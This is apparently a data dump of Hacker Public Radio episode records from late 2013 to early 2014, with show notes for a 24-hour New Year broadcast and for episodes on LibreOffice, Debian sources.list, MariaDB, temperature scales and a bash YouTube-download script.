      • emacs-speak
      • \n
      \n

      2013-12-31T18:00:00Z

      \n
        \n
      • Greetings to Bangladesh, some regions of Russia and 4 more Dhaka, Almaty, Bishkek, Thimphu, followed by a short reminder of the ORCA fundraiser.
      • \n
      \n

      2013-12-31T18:15:00Z

      \n
        \n
      • Greetings to Nepal Kathmandu, Biratnagar, Pokhara, followed by a short reminder of the ORCA fundraiser.
      • \n
      • We notice we missed 2 time zones
      • \n
      • Lunch talk
      • \n
      \n

      2013-12-31T18:30:00Z

      \n
        \n
      • Greetings to India and Sri Lanka New Delhi, Mumbai, Kolkata, and Bangalore, followed by a short reminder of the ORCA fundraiser.
      • \n
      • Ahuka switched from Mint to Ubuntu - he likes Unity. And discussion ensues.
      • \n
      • pokey consistantly fails to use the etherpad doc correctly. (lol)
      • \n
      • Dann doesn't use Linux
      • \n
      \n

      2013-12-31T19:00:00Z

      \n
        \n
      • Greetings to Pakistan and 8 more Tashkent, Islamabad, Lahore, and Karachi, followed by a short reminder of the ORCA fundraiser.
      • \n
      • Dann talks about File Descriptors and File Handles
      • \n
      \n

      2013-12-31T19:30:00Z

      \n \n

      2013-12-31T20:00:00Z

      \n
        \n
      • Greetings to much of Russia and 8 more Moscow, Dubai, Abu Dhabi, and Muscat, followed by a short reminder of the ORCA fundraiser.
      • \n
      • We want to get rid of daylight savings time
      • \n
      • Ken: We need to get a calendar that works in linux.
      • \n
      \n

      2013-12-31T20:30:00Z

      \n
        \n
      • Greetings to Iran Tehran, Rasht, Esfah??n, and Bandar-Abbas, followed by a short reminder of the ORCA fundraiser.
      • \n
      • NELF 2014 discussed by Jonathan Nadeau
      • \n
      \n

      2013-12-31T21:00:00Z

      \n
      \n

      HPR COMMUNITY NEWS DECEMBER 2013

      \n
      A monthly look at what has been going on in the HPR community. This is on the Saturday before the first Monday of the month.
      \n

      New hosts

      \n

      Welcome to our new hosts: Honkeymagoo, and Thaj Sara.

      \n

      Show Updates

      \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n
      iddatetitlehost
      13912013-12-02Google Play Music All AccessAhuka
      13922013-12-03Beginner's guide to the night skyAndrew Conway
      13932013-12-04Audio Metadata in Ogg, MP3, and othersEpicanis
      13942013-12-05Setting Up Your Own BlogKeith Murray
      13952013-12-0617 - LibreOffice Writer Overview of Page Layout OptionsAhuka
      13962013-12-09First Thoughts of the Google ChromecastCurtis Adkins (CPrompt^)
      13972013-12-10HPR Community News for November 2013Various Hosts
      13982013-12-11Batteries Part 1MrX
      13992013-12-12Interview with Ben Everard https://www.linuxvoice.comCurtis Adkins (CPrompt^)
      14002013-12-13How We Use LinuxHonkeymagoo
      14012013-12-16Huawei Mate reviewKnightwise
      14022013-12-17How I Started Using Linux and Free and Open Source SoftwareThaj Sara
      14032013-12-18hiro from GamingGrannar at RetrospelsmässanSeetee
      14042013-12-19Editing pre-recorded audio in AudacityKen Fallon
      14052013-12-2018 - LibreOffice Writer Page Styles IntroducedAhuka
      14062013-12-23ORCA fundraiserAhuka
      14072013-12-24Mars Needs Women, and Hacker Public Radio Needs ShowsAhuka
      14082013-12-25Drupal in Gothenburg with Addison Berry and othersSeetee
      14092013-12-26Xircom PE pocket ethernet adapterKen Fallon
      14102013-12-27Generating Keys on the Command LineAhuka
      14112013-12-30ohmroep live 1, 31-06-2013, pirate partiesNido Media
      14122013-12-31ohmroep hpr live 2, 31-06-2013, advancing local communitiesNido Media
      \n

      Other News

      \nDownloads in 2013 = 1,134,478\nPer episode download = 4,364\n

      Other News

      \n
        \n
      • Discussion of the infrastructure for New Year's 24-hour show
      • \n
      • Indiegogo campaign for Orca
      • \n
      • Calls for more shows
      • \n
      • Torrents
      • \n
      • HPR new year show promo
      • \n
      • Proposal to add show Reservations to HPR
        \"This means that \"Next Available Slot\" skips reserved slots. If any host wants the same day then well they should try and make arrangements with the other host. If both hosts cannot reach a resolution, then the mailing list will decide for them.\"
      • \n
      • Brochure for HPR?
      • \n
      • Please Please use the TXT template
      • \n
      • New HPR website design
      • \n
      • New Year Show/ Orca
      • \n
      • Shared pad for show notes for the New Years show
      • \n
      \n
      \n ","hostid":159,"series":121,"explicit":1,"license":"CC-BY-SA","tags":"New Year,2014","version":0,"downloads":1380,"valid":1}, {"id":1418,"date":"2014-01-08","title":"2013-2014 HPR New Year Show Part 3 2013-12-31T22:00:00Z to 2014-01-01T04:00:00Z","duration":20552,"summary":"New Year Show 2014, part 3","notes":"

      2013-12-31T22:00:00Z

      \n
        \n
      • Greetings to Greece and 30 more  Cairo, Ankara, Athens, and Bucharest, followed by a short reminder of the ORCA fundraiser.\n
      • \n
      • Discussion of the new cast of TuxRadar\n
      • \n
      • Got talking about Jupiter Broadcasting\n
      • \n
      • Deep discussion on the world of Jono Bacon\n
      • \n
      • The discussion of Jono / Aq on LugRadio evolves into a debate on the nature of debate\n
      • \n
      • This conversation evolved into a question / debate about software morality, SndChaser suggested that maybe it is an ethical question instead of a moral question\n
      • \n
      \n

      2013-12-31T23:00:00Z

      \n\n

      2014-01-01T00:00:00Z

      \n
        \n
      • Greetings to United Kingdom and 24 more  London, Casablanca, Dublin, and Lisbon, followed by a short reminder of the ORCA fundraiser.\n
      • \n
      • (0002Z) Pokey: Mac OS was moderne when it was created, but now it's looking old and tired\n
      • \n
      • SndChaser thinks we are kind of spoiled with all the options - includnig things that don't exist elsewhere - like Awesome.  But lovest the ability we have to build our desktops to fit our workflows and optimize how we work.\n
      • \n
      • (0020Z) K5Tux: Easy to learn (he's coming back to it...) -- \"Going to change lanes: When discussing ease of use, what about \"don't care to know\" folks, gamers, etc -- those who don't worry about privacy and software freedom, I have my own thoughts on but I'd like to hear the consensus on the danger for those who just don't care.\"\n
      • \n
      • (0045Z) How did you come to Linux?\n
      • \n
      • (0048Z) Free Software's major achievements in 2014:\n
          \n
        • Watches or glasses (marcusbaird)\n
        • \n
        • SteamBox (ThistleWeb)\n
        • \n
        • ROMs for entry-level mobile phones (pokey)\n
        • \n
        \n
      • \n
      \n

      2014-01-01T01:00:00Z

      \n
        \n
      • Greetings to Cape Verde, some regions of Greenland and 1 more  Praia, Ponta Delgada (Azores), Ittoqqortoormiit, and Mindelo, followed by a short reminder of the ORCA fundraiser.\n
      • \n
      • Is Windows made for the consumer or is it made just to look that way on the store shelves? (pokey)\n
      • \n
      • Thistleweb expounds upon the evils of extended warranties\n
      • \n
      • eBook discussion\n
      • \n
      \n

      2014-01-01T02:00:00Z

      \n
        \n
      • Greetings to regions of Brazil, Uruguay and 1 more Rio de Janeiro, S??o Paulo, Brasilia, Montevideo, followed by a short reminder of the ORCA fundraiser.\n
      • \n
      • Pokey mentions that he is furious that the authors guild forced the text-to-speech to be disabled on the Kindle... and names Roy Bloundt Jr.\n
      • \n
      • Electronic versions of textbooks are not reducing the number of printed books.  Students have to buy / lease the paper books, then get the electronic version.  And, in many cases they cannot (easily) re-selly the paper copy for even half of what they paid.  In the case of grade school / highschool they cannot sell the books since they are just leased.\n
      • \n
      • Pokey brought up OpenText Books: https://creativecommons.org/tag/open-textbooks\n
      • \n
      • JonKulp - textbooks\n
      • \n
      •  https://jonathankulp.org/ - Creative Commons Counterpoint Textbook\n
      • \n
      • JonKulp - Blather\n
      • \n
      • SndChaser asks Jon to comment on Musopen and the status of classical music publishing / performance\n
      • \n
      • JonKulp mezmerizes the room with the contents of his cranium (this time it's with Blather).\n
      • \n
      • Your're funny!!\n
      • \n
      • LTM\n
      • \n
      • JonKulp is an accomplished composer. Some of his works can be found at https://jonathankulp.org/comp.html\n
      • \n
      \n

      2014-01-01T03:00:00Z

      \n
        \n
      • Greetings to regions of Brazil, Argentina and 7 more Buenos Aires, Santiago, Asuncion, Paramaribo, followed by a short reminder of the ORCA fundraiser.\n
      • \n
      • JonKulp gets introduced to mate tea\n
      • \n
      • Jonathan Nadeau (https://accessiblecomputingfoundation.org/) talks about Orca & Festival speech synthesis\n
      • \n
      • Jonathan Nadeau talks about moving to manjaro\n
      • \n
      • It is determined that Perberos, Stefano Karapetsas (stefano-k), Steve Zesch (amanas) and Clement Lefebvre (clem) are the people responsible for removing all accessibility features from MATE, the Gnome2 fork. Gnome2 used to be the most accessible desktop.\n
      • \n
      \n

      2014-01-01T03:30:00Z

      \n
        \n
      • Greetings to Newfoundland and Labrador/Canada  St. John's, Conception Bay South, Corner Brook, Gander, followed by a short reminder of the ORCA fundraiser.\n
      • \n
      • Jon Kulp: Open Dyslexic Font\n
      • \n
      • SndChaser installs Open Dyslexic extension in chromium\n
      • \n
      • Pokey looks at the Open Dyslexic website and is able to read the page very quickly (quickly for pokey anyway), goes ahead and tries to install the font on Mint\n
      • \n

      • \n
      • \n
      \n","hostid":159,"series":121,"explicit":1,"license":"CC-BY-SA","tags":"ORCA,FocusWriter,DarkTable,LightZone,GIMP,Sound Converter,Maelstrom,TuxPaint,mtpaint,Jitsi,kid3,EasyTag,Audacity,gPodder,PuddleTag,avidemux,OpenShot,EtherPad,WordPress,Abiword,gnumeric,LibreOffice","version":0,"downloads":1672,"valid":1}, {"id":1419,"date":"2014-01-09","title":"2013-2014 HPR New Year Show Part 4 2014-01-01T04:00:00Z to 2014-01-01T10:00:00Z","duration":18739,"summary":"New Year Show 2014, part 4","notes":"

      2014-01-01T04:00:00Z

      \n\n

      2014-01-01T04:30:00Z

      \n
        \n
      • Greetings to Venezuela Caracas, Barquisimeto, Maracaibo, Maracay, followed by a short reminder of the ORCA fundraiser.\n
      • \n
      • More gun talk: Broam, Pokey, FiftyOneFifty, Greybeard, FlyingRich...(yawn)\n
      • \n
      • \"Only Accurate Guns are Interesting\" - Col. Townsend Whelen\n
      • \n
      \n

      2014-01-01T05:00:00Z

      \n
        \n
      • Greetings to the eastern region of U.S.A., regions of Canada and 12 more  New York, Boston, Rochester, Marriland, Washington D.C., 20,000 feet over Florida, Washington DC, Detroit, Havana, followed by a short reminder of the ORCA fundraiser.\n
      • \n
      • 5150: OCPLive is probably going to happen this year.  No official location.  Sounds like plans are going to be hammered out in the near future.\n
      • \n
      • 5150: Canonical to charge Mint for repository access?  Appears to originate from this: https://distrowatch.com/weekly.php?issue=20131209#qa\n
      • \n
      • Underrunner: Synchronized christmas lights\n
      • \n
      • Peter64 regales us with his tale of how he electrocuted himself with christmas lights\n
      • \n
      \n

      2014-01-01T06:00:00Z

      \n
        \n
      • Greetings to the midwest region of U.S.A., some regions of Canada and 8 more  Mexico City, Chicago, Guatemala, Dallas, followed by a short reminder of the ORCA fundraiser.\n
      • \n
      • General and random chaos conversation - this is turning into a jumbled, mixed up, and fun conversation\n
      • \n
      • General pissing match about the Affordable Care Act / Obama Care.\n
      • \n
      • Food conversation inlcuding the Aussie version of the Turducken\n
      • \n
      • ..and back to gun talk & hunting\n
      • \n
      • Peter64's gun: https://bazar.hunting-shop.cz/detailni_foto.php?id_inzeratu=5887&id_obrazku=0 \n
      • \n
      • https://usedguns.com.au/Product.aspx?p=2070\n
      • \n
      • Talk about coyote\n
      • \n
      \n

      2014-01-01T07:00:00Z

      \n\n

      2014-01-01T08:00:00Z

      \n\n

      2014-01-01T09:00:00Z

      \n
        \n
      • Greetings to Alaska/U.S.A. and French Polynesia  Anchorage, Fairbanks, Unalaska, Juneau, followed by a short reminder of the ORCA fundraiser.\n
      • \n
      • JonDoe Recipe: Equal parts Southern Comfort & Butter - add pork chops - caramel porkchops\n
      • \n
      • Cobra2 Recipe: Fowl (chicker, turkey, etc) covered with real mayo, salt & pepper, sear, cook normally.\n
      • \n
      \n

      2014-01-01T09:30:00Z

      \n
        \n
      • Greetings to Marquesas Islands/France  Taiohae, followed by a short reminder of the ORCA fundraiser.\n
      • \n
      • BitCoin and transaction validation\n
      • \n
      • TorNetwork\n
      • \n
      • HPR & BitTorrent / Magnet Links / Archive.org - Contributor RSS feeds to allow grabbing all episodes from specific contributors\n
      • \n

      • \n
      • \n
      \n","hostid":159,"series":121,"explicit":1,"license":"CC-BY-SA","tags":"New Year,2014","version":0,"downloads":1377,"valid":1}, {"id":1420,"date":"2014-01-10","title":"2013-2014 HPR New Year Show Part 5 2014-01-01T10:00:00Z to 2014-01-01T12:00:00Z","duration":6699,"summary":"New Year Show 2014, part 5","notes":"

      2014-01-01T10:00:00Z

      \n
        \n
      • Greetings to small region of U.S.A. and 2 more Honolulu, Rarotonga, Adak, Papeete, followed by a short reminder of the ORCA fundraiser.\n
      • \n
      • https://archive.org/donate/\n
      • \n
      • https://theacf.co/\n
      • \n
      • Can a short url be thought of as time based\n
          \n
        • I maintain that in it's current likely implementations that it is not.  Especially since it is likely that the storage uses a 1 original URL to many shortened URLs.  However, I would think it would be possible to implement as a hashed function given the rights seeds.\n
        • \n
        \n
      • \n
      • KuraKura: questions about using mumble.\n
      • \n
      • General conversation\n
      • \n
      • Discussion about Orca and handling integration with various software packages.  Ken wants to motivate the HPR community to explore the issues that exist, and talk with developers from application projects about improving their orca integration.\n
          \n
        • JonDoe mentions that there might be dependencies and / or regressions that occur as changes are made due to hacks / workarounds that currently exist (both in orca and applications)\n
        • \n
        \n
      • \n
      • https://en.wikipedia.org/wiki/NonVisual_Desktop_Access\n
      • \n
      \n

      2014-01-01T11:00:00Z

      \n\n

      2014-01-01T12:00:00Z

      \n\n

      \nShould auld acquaintance be forgot,
      \nand never brought to mind?
      \nShould auld acquaintance be forgot,
      \nand auld lang syne*?

      \n\n

      CHORUS

      \n

      \nFor auld lang syne, my jo,
      \nfor auld lang syne,
      \nwe’ll tak a cup o’ kindness yet,
      \nfor auld lang syne.

      \n\n

      And surely ye’ll be your pint-stowp!
      \nand surely I’ll be mine!
      \nAnd we’ll tak a cup o’ kindness yet,
      \nfor auld lang syne.

      \n\n

      CHORUS

      \n

      We twa hae run about the braes,
      \nand pu’d the gowans fine;
      \nBut we’ve wander’d mony a weary fit,
      \nsin auld lang syne.

      \n\n

      CHORUS

      \n

      We twa hae paidl’d i' the burn,
      \nfrae morning sun till dine;
      \nBut seas between us braid hae roar’d
      \nsin auld lang syne.

      \n\n

      CHORUS

      \n

      And there’s a hand, my trusty fiere!
      \nand gie's a hand o’ thine!
      \nAnd we’ll tak a right gude-willy waught,
      \nfor auld lang syne.

      \n\n

      CHORUS

      \n

      ","hostid":159,"series":121,"explicit":1,"license":"CC-BY-SA","tags":"New Year,2014","version":0,"downloads":1419,"valid":1}, {"id":1421,"date":"2014-01-13","title":"Statistics and Polling","duration":2427,"summary":"Polling and the statistical background behind it","notes":"

      \nWe are given polling results constantly in news stories, and even more so when an election is near. But how accurate are these polls? What are the limitations? And what kinds of questions should you have when looking at these surveys? I will attempt to answer these questions in this podcast.\n

      ","hostid":198,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"Statistics,polling,politics,surveys","version":0,"downloads":1425,"valid":1}, {"id":1422,"date":"2014-01-14","title":"Setting up and using SSH and SOCKS","duration":1432,"summary":"Advice on setting up and using SSH and SOCKS proxy","notes":"

      \nIn this episode I go through how I set up SSH and SOCKS. This is very useful when you need to feel a bit more secure in your internet traffic and need to keep out of prying eyes. I also go over some tools used to access your home network from a Windows computer.\n

      \n

      \nLinks:\n

      \n\n","hostid":252,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"SSH,SOCKS proxy,DynDNS,DDClient,PuTTy","version":0,"downloads":1588,"valid":1}, {"id":1423,"date":"2014-01-15","title":"Monty - The man behind your databases","duration":843,"summary":"Tune in to today's episode of #HPR and hear Monty talk about YOUR database!","notes":"

      Listen to the man who created the database YOU use every day, today on Hacker Public Radio.

      \n

      \"There's no reasons to use MySQL anymore.\"
      -- Monty

      \n

      Michael Widenius at FSCONS 2013

      \n

      A couple of months ago I attended FSCONS 2013. There I met Michael \"Monty\" Widenius, the driving force behind both MySQL and MariaDB. This is a guy who loves being a developer and he loves Open Source software. He named MySQL after his daughter My, and the new fork MariaDB got its name from his other daughter Maria.

      \n

      Monty was invited to FSCONS 2013 to give a speech entitled \"The MySQL and MariaDB story\", and the synopsis on fscons.org says:

      \n
      \"The story of how MySQL was created, why it was successful and how it grew until it was sold to Sun, who was then overtaken by Oracle.
      It will also cover how and why MariaDB was created and what we are doing to ensure that there will always be a free version of MySQL (under the name of MariaDB).
      The talk will also explain the challenges we have had to do this fork, especially the merge with MySQL 5.5, and the various systems (like buildbot) that we used to build the binaries and how we are working with the MariaDB/MySQL community.\"
      \n
      -- https://frab.fscons.org/en/fscons13/public/events/51

      That presentation can be found on YouTube, and I encourage you all to have a look at it. \"Michael Monty Widenius: The MySQL and MariaDB story\": https://youtu.be/JxyBNdwmpzM
      \n

      \n

      If you have not yet made the switch to MariaDB, now is the time!

      \n

      Monty also asks everyone who uses MariaDB to activate the anonymous plug-in, so that the developers might know what to focus their attention on.

      \n

      If you wish to look Monty in the eyes, you have the opportunity to do so, as this interview was video recorded and will be released on YouTube or similar. Follow All In IT Radio on Google+, Twitter and Identi.ca for updates on when that will be released.

      \n

      Stuff referenced in the episode

      \n \n

      How to reach me

      \n

      You should follow me and subscribe to All In IT Radio:

      \n \n","hostid":192,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"fscons, monty, mysql, mariadb, oracle, interview","version":0,"downloads":1555,"valid":1}, {"id":1424,"date":"2014-01-16","title":"ohmroep hpr live mini, 03-08-2013, Censorship and Hacking in the Netherlands","duration":2620,"summary":"ohmroep hpr live mini, 03-08-2013, Censorship and Hacking in the netherlands","notes":"

      Nido Media invades the Early Morning Show hosted by colleague host Brenno de Winter to talk about his talk on Censorship and Hacking in the Netherlands.

      \n

      We discuss the situation of Alberto Stegeman, who proved the lack of security on Schiphol by touching the plane of the Queen.

      \n

      Brenno's own adventures with the Dutch transportation card.

      \n

      Henk Krol showed a medical system's security, a system considered to be \"Top Notch Security\", hinged on a (shared) password consisting of 5 numbers.

      \n

      He also talks about the Dutch Responsible Disclosure procedure and what is wrong with it, including examples such as Hans Scheuder who found a flaw in Habbo Hotel.

      \n

      Ilyam saw his little brother and sister taken away by the Child Protection Services by accident and decided to film it and go public with it.

      \n

      Indigo - system for registering people immigrating to the netherlands. Contains markers like \"You are ready to be removed\".

      \n

      Russian Activist fled to the Netherlands after he was let out of jail. Here he got cought in a system named 'Indigo' which is used by the immigration service. One of the flags this system can set on people is 'you are ready to be removed'.

      ","hostid":214,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"OHMRoep HPR Live","version":0,"downloads":1354,"valid":1}, {"id":1425,"date":"2014-01-17","title":"20 - LibreOffice Writer Frames - Introduction and the Type Tab","duration":1849,"summary":"This episode introduces the discussion of Frames in LibreOffice Writer","notes":"

      This episode introduces the discussion of Frames in LibreOffice Writer by opening the Properties window and looking at the first tab, Type. Because there is so much to discuss about this tab, it is the only one we will look at in this episode. In the next episode we will wrap up the discussion of Frame properties by looking at the other tabs in this window

      \n

      Links

      \n

      The written version of this tutorial can be found on my Web site at https://www.ahuka.com/?page_id=476

      ","hostid":198,"series":70,"explicit":0,"license":"CC-BY-SA","tags":"libreoffice,frames","version":0,"downloads":1440,"valid":1}, {"id":1426,"date":"2014-01-20","title":"A Visit to Reglue","duration":971,"summary":"Reglue gives free Linux computers to under privileged children and their families","notes":"

      \nRecycled Electronics and Gnu/Linux Used for Education. Reglue, in a nutshell, gives free Linux computers to under privileged children and their families. From their website:\n

      \n
      \nAccording to our estimates and those of the Austin Independent School District, there are over 5000 Austin students who cannot afford a computer or Internet access. Reglue wants to reduce that number by as much as we can. Since 2005 we have provided 1102 disadvantaged Austin-area kids and their families a computer. These kids cannot grow and compete with their peers unless they have a computer and Reglue focuses on giving these kids the tools they need. \n
      \n

      \nhttps://www.reglue.org/\n

      \n

      \nTo find out more about Ken Starks - Find him on Google+\n

      \n

      \nKen's Blog https://linuxlock.blogspot.com/2009/08/let-their-eyes-be-opened.html\n

      ","hostid":209,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"Linux, BBQ, Ken Starks, Taylor Texas, Helios Project, yummy","version":0,"downloads":1397,"valid":1}, {"id":1427,"date":"2014-01-21","title":"Decoding HPR1216 the easy way and a bit more","duration":1450,"summary":"An alternative method of decoding audio containing Morse Code into text","notes":"

      \nThis Episode is kind of a direct response to HPR1343 by Laindir, where he explains his awesome way to decode the morse code in HPR1216. For the fun of it, I start right out by digressing into a memory of mine. It is about how I tried to decode morse code telemetry from the AO-21 amateur radio satellite some 20 years ago by using a CBM-8032 computer. \n

      \n

      \nAfter that I reveal the easy way to decode HPR1216 by using the CW mode of the program FLDIGI. Along the way, I mention the use of \"monitors\" in pulse audio, which are selectable in pavucontrol as input sources for audio applications. This is an easy way to loop back sound output from other applications. This method also combines nicely with WEBSDR, web accessible software defined receivers, all over the world. These may be used if you want to throw some real world signals at FLDIGI to play with the different modes. For listening to amateur radio communication I recommend to start out with one of these modes: CW (morse telegraphy), PSK > BPSK31 (very common, narrow band tele type mode) and RTTY > RTTY-45 (\"original\" radio tele type). For the typing modes you might want to check also \"View>Waterfall>Docked scope\" or activate \"View>View/Hide Channels\".\n

      \n

      \nFinally I add a tip about using OSS-wrappers like aoss, from alsa-oss, and padsp from the pulseaudio-utils package, to run old OSS applications. I use this primarily for siggen, a suit of command line / curses applications for generating audio signals like sine wave, rectangle and so on. \n

      \n

      \nNOTE: There is one stumbling block with pavucontrol, which I forgot to mention in the recording. Applications will only show up as playback sources or recording sinks when they actively use the interface. That is, the alsa player source will only be visible while playing, in the same way as an audacity sink can only be seen while the recording is going on. \n

      \n\n

      Links:

      \n\n\n","hostid":271,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"fldigi,PulseAudio,OSS-wrapper,padsp,aoss","version":0,"downloads":1345,"valid":1}, {"id":1428,"date":"2014-01-22","title":"Coffee Stain Studios and the Sanctum games","duration":757,"summary":"Will #Sanctum2 come to #Linux? Hear @ArminPosts' answer in the latest #HPR!","notes":"

      Do you know the Sanctum games? You should! Listen to Armin from Coffee Stain Studios on todays episode of Hacker Public Radio!

      \n

      \"We're actually working on Linux support. *pause* I don't know if I'm supposed to say that.\"
      -- Armin

      \n

      Coffee Stain Studios

      \n

      In 2010 a few students from the University of Skövde created the Indie game developing company \"Coffee Stain Studios\". In 2011 they released the game \"Sanctum\" on Steam, and in May of 2013 they released \"Sanctum 2\". These games are most often described as a mix between First-person shooter and Tower defense. You find yourself in a futuristic setting, fighting aliens with a fair bit of humor. The player chooses how much resources to distribute on automatic towers or his or her own weapons. Both games featured the possibility to collaborate with your friends to beat the levels.

      \n

      One of the founders, Armin Ibrisagic, was at DreamHack in November 2013, where I got a chance to talk to him.

      \n

      DreamHack

      \n

      \"What is DreamHack?\" you ask? Only the world's largest computer festival, held multiple times a year in Jönköping, Sweden. According to Wikipedia \"It holds the world record (as recognized by the Guinness Book of Records and Twin Galaxies) for the world's largest LAN party and computer festival, and has held the record for the world's fastest Internet connection, and the record in most generated traffic.\"

      \n

      I also got an interview with one of the organizers of DreamHack, but that you will hear another day. Today we focus on Sanctum, and how the market looks for smaller game developers.

      \n

      Stuff referenced in the episode

      \n \n

      How to reach me

      \n

      You should follow me and subscribe to All In IT Radio:

      \n \n","hostid":192,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"dreamhack, coffee stain studios, sanctum, games, indie, interview","version":0,"downloads":1611,"valid":1}, {"id":1429,"date":"2014-01-23","title":"Debian sources.list","duration":2499,"summary":"Personalize your Debian distro through the sources.list file","notes":"

      \nHonkeymagoo and Kevin Wisher discuss the Debian GNU Linux sources.list file, and the many ways\nit can be used to personalize your Debian distro\n

      \n

      \nThe site that gives most of the information about the sources.list file:\nhttps://www.debian.org/doc/debian-policy/ch-archive.html\n

      \n

      \nMirror sites list:\nhttps://www.debian.org/mirror/list\n

      \n

      \nA site that can help you make a sources.list file:\nhttps://debgen.simplylinux.ch/\n

      \n

      \n2 good sites to learn about apt-pinning:\nhttps://jaqque.sbih.org/kplug/apt-pinning.html\nhttps://www.howtoforge.com/a-short-introduction-to-apt-pinning\n

      \n

      \nThe Debian multimedia repository: https://www.deb-multimedia.org/\n

      \n

      \nDefault sources.list file for US:\n

      \n
      \ndeb https://ftp.us.debian.org/debian/ wheezy main\ndeb-src https://ftp.us.debian.org/debian/ wheezy main\n\ndeb https://security.debian.org/ wheezy/updates main\ndeb-src https://security.debian.org/ wheezy/updates main\n\ndeb https://ftp.us.debian.org/debian/ wheezy-updates main\ndeb-src https://ftp.us.debian.org/debian/ wheezy-updates main \n
      ","hostid":269,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"Debian,sources.list,apt-pinning","version":0,"downloads":1584,"valid":1}, {"id":1430,"date":"2014-01-24","title":"thebestofyoutube.com download script","duration":2312,"summary":"A hacked script to download youtube videos","notes":"

      In episode \"Thu 2013-12-19: hpr1404 Editing pre-recorded audio in Audacity\" I walked you through editing a podcast, by the magic of editing this is been posted after the other show has aired. The plan here is to get people to share their useful hacks to show how elegant, or in my case ugly, code can be. As Knightwise says \"Getting technology to work for you.\"™
      Feel free to share your own hacks with us.

      \n

      https://hackerpublicradio.org/eps/hpr1404/
      hpr1430-downloader.bash.txt

      \n\n#!/bin/bash\n# Downloads videos from youtube based on selection from https://thebestofyoutube.com\n# (c) Ken Fallon https://kenfallon.com\n# Released under the CC-0\n\nmaxtodownload=10\nsavepath=\"/mnt/media/Videos/tv/youtube/bestofyoutube\"\nsavedir=\"${savepath}/$(\\date -u +%Y-%m-%d_%H-%M-%SZ_%A)\"\nmkdir -p ${savedir}\nlogfile=\"${savepath}/downloaded.log\"\n\n# Gather the list\nseq 1 ${maxtodownload} | while read videopage;\ndo\n  thisvideolist=$(wget --quiet \"https://bestofyoutube.com/index.php?page=${videopage}\" -O - |\n  grep 'www.youtube.com/embed/' |\n  sed 's#^.*www.youtube.com/embed/##' |\n  awk -F '\"|?' '{print \"https://www.youtube.com/watch?v=\"$1}')\n  for thisvideo in $(echo $thisvideolist);\n  do\n    if [ \"$( grep \"${thisvideo}\" \"${logfile}\" | wc -l )\" -eq 0 ];\n    then\n      echo \"Found the new video ${thisvideo}\"\n      echo ${thisvideo} >> ${logfile}_todo\n    else\n      echo \"Already downloaded ${thisvideo}\"\n    fi\n  done\ndone\n\n# Download the list\nif [ -e ${logfile}_todo ];\nthen\n  tac ${logfile}_todo | youtube-dl --batch-file - --ignore-errors --no-mtime --restrict-filenames \\\n    --max-quality --format mp4 --write-auto-sub -o ${savedir}'/%(autonumber)s-%(title)s-%(id)s.%(ext)s'\n  cat ${logfile}_todo >> ${logfile}\n  rm ${logfile}_todo\nfi\n\n
      \n","hostid":30,"series":42,"explicit":1,"license":"CC-BY-SA","tags":"Bash,YouTube,download","version":0,"downloads":1583,"valid":1}, {"id":1431,"date":"2014-01-27","title":"Talking Twenty Fourteen","duration":2260,"summary":"New Year predictions from Jezra and NYbill","notes":"

      \nIn what has become an annual thing, Jezra and NYbill talk about their New Years predictions past and future. Better late then never, I guess...\n

      ","hostid":235,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"New Year,2014,prediction","version":0,"downloads":1465,"valid":1}, {"id":1432,"date":"2014-01-28","title":"Fahrenheit 212","duration":1148,"summary":"A discussion of temperature systems: Fahrenheit, Celsius (Centigrade) and Kelvin","notes":"

      Please consider recording an episode for Hacker Public Radio. We are a you-contribute podcast. :)

      \n

      Ken requests an episode on Fahrenheit, which really requires discussion of the two temperature systems, and how they are quantified.

      \n

      Terminology

      \n

      Centigrade: old fashioned term for Celsius
      Kelvin (K): less common measurement of temperature used for Science
      Thermal Equilibrium: en.wikipedia.org/wiki/Thermodynamic_equilibrium
      Zeroth Law of Thermodynamics: en.wikipedia.org/wiki/Zeroth_law_of_thermodynamics
      Absolute zero: en.wikipedia.org/wiki/Absolute_zero
      \n

      \n

      My personal preference is Celsius. Less numbers to deal with in everyday use.
      Really Cold – Temperatures below 0°C
      Really Hot – Temperatures above 30°C
      The \"American\" thinking is temperatures go in 20's, 30's, 40's...etc. more work!
      Obligatory gun discussion
      Indirect conversation about PV = nRT formula
      Correction: the absence of pressure (vacuum) causes water to boil.
      Celsius and Fahrenheit are \"measured\" by the states of water boiling/freezing.
      \n

      \nCelsius\nfreezes at 0°\nboils at 100°\n\nFahrenheit\nfreezes at 32\nboils 212°\n\n1 (K) Kelvin = -273.15°C\n
      ","hostid":272,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"Science, temperature","version":0,"downloads":1432,"valid":1}, {"id":1433,"date":"2014-01-29","title":"Ubuntu Quickly Ebook Template","duration":660,"summary":"The Quickly Ubuntu eBook Template allows the user to create and manage eBooks","notes":"

      \nIn this episode Mike Hingley talks about his Ubuntu Quickly Ebook Template project. Whilst it is still in development, it allows authors the ability to publish epub style books through the ubuntu packaging system.\n

      \n","hostid":185,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"content packaging,Ebook ","version":0,"downloads":1441,"valid":1}, {"id":1434,"date":"2014-01-30","title":"Why I made an account free android ","duration":568,"summary":"Account Free Android Tablet: minimal Google/Ads without Rooting","notes":"

      \nWhy I built an Account Free Google tablet. Including links of what was done. Some basic criteria. No accounts created for downloading, installing or configuring except for mail accounts. No rooting. No pirated apps. Something that can be easy for a user to do including installing and updating apps. One ad supported app installed, but hope to find an alternative. \n

      \n

      \nhttps://james.toebesacademy.com/Account_Free_Android_Device.html\n

